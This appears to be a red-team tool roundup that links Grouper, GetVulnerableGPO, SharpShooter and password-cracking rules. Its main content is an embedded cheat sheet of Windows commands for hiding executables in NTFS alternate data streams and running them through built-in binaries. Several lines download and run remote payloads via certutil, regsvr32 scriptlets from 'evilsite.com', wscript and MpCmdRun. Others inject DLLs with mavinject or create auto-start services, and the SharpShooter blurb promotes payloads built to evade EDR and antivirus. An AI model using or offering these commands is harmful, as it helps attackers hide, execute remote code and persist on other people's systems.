Grouper

https://github.com/l0ss/Grouper

Grouper is a PowerShell module designed for pentesters and redteamers (although probably also useful for sysadmins) which sifts through the (usually very noisy) XML output from the Get-GPOReport cmdlet (part of Microsoft’s Group Policy module) and identifies all the settings defined in Group Policy Objects (GPOs) that might prove useful to someone trying to do something fun/evil.

Fun with Alternate Data Streams

###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe –output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe" -DownloadFile -url https://www.7-zip.org/a/7z1900.exe -path c:\\temp\\1.txt:7-zip.exe
###Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
###Executing the ADS content###
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* Powershell.exe
powershell -ep bypass – < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
* Cmd.exe
cmd.exe – < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904
* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
### Write registry
regini.exe file.txt:hidden.ini
From @elisalem9

view raw
Exe_ADS_Methods.txt
hosted with ❤ by GitHub

GetVulnerableGPO

https://github.com/gpoguy/GetVulnerableGPO
PowerShell script to find ‘vulnerable’ security-related GPOs that should be hardened (for more background, see the GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more easily parse GP settings during the search)

Payload Generation using SharpShooter

https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
Getting a foothold is often one of the most complex and time-consuming aspects of an adversary simulation. We typically find much of our effort is spent creating and testing payloads against various OS versions/architectures and against the most commonly used EDR (Endpoint Detection and Response), anti-virus and sandboxing solutions. Many of these solutions have become more focused and aware of PowerShell, as such we’ve naturally moved away from PowerShell to research other techniques for getting into memory and evading endpoint defences. This led to the development of an in-house payload generation framework we named SharpShooter. After using this framework with great success across a number of engagements, we have opted to release the tool.

Password cracking rule

https://github.com/NotSoSecure/password_cracking_rules
password_cracking_rule
This is a supporting repo for various blog post’s on https://www.notsosecure.com

“Our super rule came out on top in all our tests, as well as others we looked at after. We’re sorry to disappoint any Lord of the Rings fans (“One ring to rule them all!”), but despite our rule name, there likely won’t ever be one rule to rule them all as other rule based attacks wouldn’t exist if there was. Password attacks should always be executed factoring in all variables, in particular the available time, hardware resources, dictionary size and algorithm.”